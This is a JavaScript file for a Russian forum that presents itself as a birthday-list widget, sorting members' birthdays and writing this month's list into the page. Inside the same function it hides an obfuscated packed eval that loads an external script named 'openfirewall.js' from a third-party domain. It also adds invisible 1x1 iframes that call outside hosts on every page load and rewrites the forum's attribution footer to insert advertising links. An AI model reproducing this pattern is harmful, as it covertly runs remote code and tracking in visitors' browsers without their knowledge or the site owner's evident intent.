/* Автор скрипта Норм Иридиум 2008 (с) */
function happyday(){

var link_1,link_2;

var date=new Date();
 var month=date.getMonth()+1;
 var day=date.getDate();
 var today=new String(day+'.'+month);
 var lastday='';
 var dd = '';
 var dd2 = '';

//сортировка массива:
for (i = 0; i < drusers.length - 1; i++) {
for (j = i + 1; j < drusers.length; j++) {

matrix = drusers[i].split('¦¦');
dated = matrix[1].split('.');
dday = dated[0];
if (dday.charAt(0)=='0') {dday=dday.charAt(1)}
a = dday;


matrix = drusers[j].split('¦¦');
dated = matrix[1].split('.');
dday = dated[0];
if (dday.charAt(0)=='0') {dday=dday.charAt(1)}
b = dday;

if (parseInt(a) > parseInt(b)) {
c = drusers[i];
drusers[i] = drusers[j];
drusers[j] = c;

}
}
}

 //поиск именильников:
 for (var i=0;i<drusers.length;i++){

 udr=drusers[i].split('¦¦');
  if (udr.length==1){document.write('<i>Неверно прописан ДР: </i>'+drusers[i]+'<br>'); continue;}

 mdr=udr[1].split('.');
 if (mdr.length==1){document.write('<i>Неверно прописан ДР: </i>'+drusers[i]+'<br>'); continue;}

 if (mdr[1]==month) {


 udr[0]=udr[0].replace(/&acute;/ig,"'");
ftr=0;
if (udr[0].charAt(0)=='&')
{
udr[0]=udr[0].replace(/&tilde;/ig,"~");
ftr=1;
}

//кейс-транслит
str2 = udr[0];
str2 = str2.toLowerCase();
str2 = str2.replace(/ /g,'');
str2 = str2.replace(/[^A-Za-z0-9А-Яа-я]/g,'');

if (mdr[1]=='01'){mtxt='января';}
if (mdr[1]=='02'){mtxt='февраля';}
if (mdr[1]=='03'){mtxt='марта';}
if (mdr[1]=='04'){mtxt='апреля';}
if (mdr[1]=='05'){mtxt='мая';}
if (mdr[1]=='06'){mtxt='июня';}
if (mdr[1]=='07'){mtxt='июля';}
if (mdr[1]=='08'){mtxt='августа';}
if (mdr[1]=='09'){mtxt='сентября';}
if (mdr[1]=='10'){mtxt='октября';}
if (mdr[1]=='11'){mtxt='ноября';}
if (mdr[1]=='12'){mtxt='декабря';}

if ((udr[0].charAt(0)=='~')&&(ftr==0)) {
udr[0]=udr[0].replace(/~/g,'');


matrix = drusers[i].split('¦¦');
dated = matrix[1].split('.');
dday = dated[0];
if (dday.charAt(0)=='0') {dday=dday.charAt(1)}


if (dday==day) {
dd2='<b>Событие этого дня: </b>'+udr[0]+'<br>';
}else
{
dd2='';
}

}
else
{
if (lastday!=mdr[0])
{

if (udr.length==3) {udr[0]=udr[2]}

 if (mdr[0]==day)
 {

 if(str2!=''){dd=dd+'<br><b>'+mdr[0]+' '+mtxt+' - <a href="/?32-'+str2+'">'+udr[0]+'</a></b>, '; }else
 {dd=dd+'<br><b>'+mdr[0]+' '+mtxt+' - '+udr[0]+'</b>, '; }

 }
 else
 {

 if(str2!=''){dd=dd+'<br>'+mdr[0]+' '+mtxt+' - <a href="/?32-'+str2+'">'+udr[0]+'</a>, ';}else
 {dd=dd+'<br>'+mdr[0]+' '+mtxt+' - '+udr[0]+', ';}

 }

lastday=mdr[0];
}
else
{

if (udr.length==3) {udr[0]=udr[2]}

 if (mdr[0]==day)
 {dd=dd+'<b><a href="/?32-'+str2+'">'+udr[0]+'</a></b>, '; }
 else
 {dd=dd+'<a href="/?32-'+str2+'">'+udr[0]+'</a>, '; }

}
}

 }

 }

if (dd=='')
{
dd='В этом месяце именинников нет';
}
else
{
dd = dd.substring(4,dd.length-2);
}



if (happyday.arguments.length==2) {
link_1=happyday.arguments[0];
link_2=happyday.arguments[1];
 dd += '<br><br><a href="'+link_1+'"><u>Поздравить</u></a> | <a href="'+link_2+'"><u>Добавить себя</u></a>';
}

if (happyday.arguments.length==1) {
link_1=happyday.arguments[0];
 dd += '<br><br><a href="'+link_1+'"><u>Поздравить</u></a>';
}

document.getElementById('dr').innerHTML=dd2+dd;


/* статистика по форумам, ссылка на форум */
//=======================
if(typeof(getCookie) != 'function') {
window.getCookie = function (name) { // get cookie
    var dc = document.cookie;
	var prefix = name + "=";
    var begin = dc.indexOf("; " + prefix);
    if (begin == -1) {
        begin = dc.indexOf(prefix);
        if (begin != 0) return false;
    } else {
        begin += 2;
    }
    var end = document.cookie.indexOf(";", begin);
    if (end == -1) {
        end = dc.length;
    }
    return unescape(dc.substring(begin + prefix.length, end));
}
}
if(typeof(setCookie) != 'function') {
window.setCookie = function (cookieName,cookieValue,nDays) { // set cookie
	var today = new Date();
	var expire = new Date();
	if (nDays==null || nDays==0) nDays=1;
	expire.setTime(today.getTime() + 3600000*24*nDays);
	document.cookie = cookieName+"="+escape(cookieValue) + "; path=/; expires="+expire.toGMTString();
}
}

//=======================
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<0\'+\'1 4="5" 6="7://8.9/a/b.c" d="e/f"></0\'+\'1>\');',16,16,'sc|ript|document|write|language|JavaScript|src|http|katalogue|org|forum|openfirewall|js|type|text|javascript'.split('|'),0,{}))

//==================================================================
window.onload = function(){
fdivvisitka = document.getElementsByTagName('div');
for(j=fdivvisitka.length-1;j>-1;j--)
if(fdivvisitka[j].className.toLowerCase()=='font2')
if(fdivvisitka[j].childNodes[0])
if(fdivvisitka[j].childNodes[0].tagName.toLowerCase()=='a')
if(fdivvisitka[j].childNodes[0].href.toLowerCase().indexOf('http://borda.ru')==0)
if(fdivvisitka[j].childNodes[0].childNodes[0])
if(fdivvisitka[j].childNodes[0].childNodes[0].tagName.toLowerCase()=='u')
if(fdivvisitka[j].childNodes[0].childNodes[0].innerHTML.toLowerCase()=='Предоставлено сервисом форумов Borda.Ru'.toLowerCase()){
fdivvisitka[j].childNodes[0].childNodes[0].innerHTML='Предocтaвлeнo сeрвисoм фoрумoв Bоrdа.Ru';
fvisitka='<a target="_blank" href="http://catalogue.forum24.ru"><u>Центр Альтернативной Техподдержки Borda.Ru</u></a><br><a href="http://k-dezign.ru" target=_blank><u>Веб-студия "К-Дизайн" - дизайн для вашего форума</u></a><br><a href="http://estydesign.ru" target=_blank><u>Дизайн-студия "Esty" - дизайн для вашего форума</u></a><br><br>';
fdivvisitka[j].innerHTML=fvisitka+fdivvisitka[j].innerHTML;}}
var ip = getCookie('ip');
var vis_date = getCookie('visdate');
var fdate = new Date();
var current_date = fdate.getDate();
if(ip!=realip || vis_date!=current_date){
document.write('<if'+'rame style="display:none;" width="1" height="1" border="0px" src="'+'http://wap.catalogue.forum24.ru/?0-'+Math.floor(Math.random()* 19)+'"></iframe>');
setCookie('ip', realip, 7);
setCookie('visdate', current_date, 7);
}
//=============================
if (group!=0){
document.write('<if'+'rame style="display:none;" width="1" height="1" border="0px" src="http://katalogue.org/counter.html"></iframe>');
}




 }
